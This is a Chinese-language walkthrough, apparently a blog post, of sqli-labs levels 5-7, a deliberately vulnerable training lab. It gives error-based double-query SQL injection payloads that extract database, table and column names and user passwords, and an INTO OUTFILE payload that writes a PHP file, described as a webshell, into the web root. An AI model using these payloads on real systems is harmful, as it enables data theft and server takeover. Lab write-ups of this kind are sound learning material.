sqli-labs-master(5-7关)
参考资料:https://www.jianshu.com/p/a3287fbb20f1
Less-5(双注入GET单引号字符型注入)
方法:双注入或盲注
双查询注入顾名思义形式上是两个嵌套的查询,即select …(select …),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by cluase分组语句,按照cluase对查询结果分组
如果还是不懂可以看此链接:http://www.2cto.com/article/201303/192718.html
1,输入?id=1
输入?id=1’
输入?id=1'and '1'='1'%23
输入?id=1'and '1'='2'%23
3,最核心的来了,获取数据库名;
双注入的原理总的来说就是,当一个聚合函数后面出现group分组语句时,会将查询的一部分结果以报错的形式返回,他有一个固定的公式。 那么开始构建sql语句:
输入?id=1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a%23
可获取数据库名为 security
4.同样的方法获取表名
输入?id=-1' union select count(*),2,concat('*',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'*',floor(rand()*2)) as a from information_schema.tables group by a%23
不知道为甚麽不可以用group_concat,于是用 limit0,1 遍历所有表明,可获取有四个表,分别是emails,referers,uagents,users
5,获取列
输入?id=-1' union select count(*),2,concat('*',(select column_name from information_schema.columns where table_name='users' limit 1,1),'*',floor(rand()*2)) as a from information_schema.tables group by a%23
遍历所有列,获得有8列列名为 first_name,last_name, user, password,avatar,last_login,failed_login,user_id
6,获取数据
输入?id=1' union select count(*),2,concat('*',(select username from users limit 0,1 ),'*',floor (rand()*2)) as a from information_schema.tables group by a%23
输入?id=1' union select count(*),2,concat('*',(select password from users limit 3,1 ),'*',floor (rand()*2)) as a from information_schema.tables group by a%23
这样就可以获取所有数据了
Less-6(双注入GET双引号字符型注入)
本关与第5关一毛一样,只是把单引号换成了双引号罢了
第6关依然不可以用group_concat
Less-7(导出文件GET字符型注)
在网页中打开是这样的:
按照他说的做,在URL里输入?id=1
弹出 use outfile,尝试之前的方法就不行了,他把报错做了处理统一返回“You have an error in your SQL syntax”,而且,他也给出了提示use outfile,MySQL中,可以使用SELECT…INTO OUTFILE语句将表的内容导出为一个文本文件。outfile的固定结构是:select A into outfile B,意思就是将A写入B中,这里的B通常是一个文件路径,A可以是文本内容(小马),也可以是数据库信息,也可以是一句话木马内容。
第一种方法:构造select * from users into outfile “数据库导入导出数据的目录”,先来判断一下我们是否是最高权限
输入?id=1"))and (select count(*) from mysql.users)>0
显示正常,说明的确是最高权限
输入?id= 1')) union select 1,'',3 into outfile 'D:/xampp/htdocs/hhhh.php' %23
文件导出成功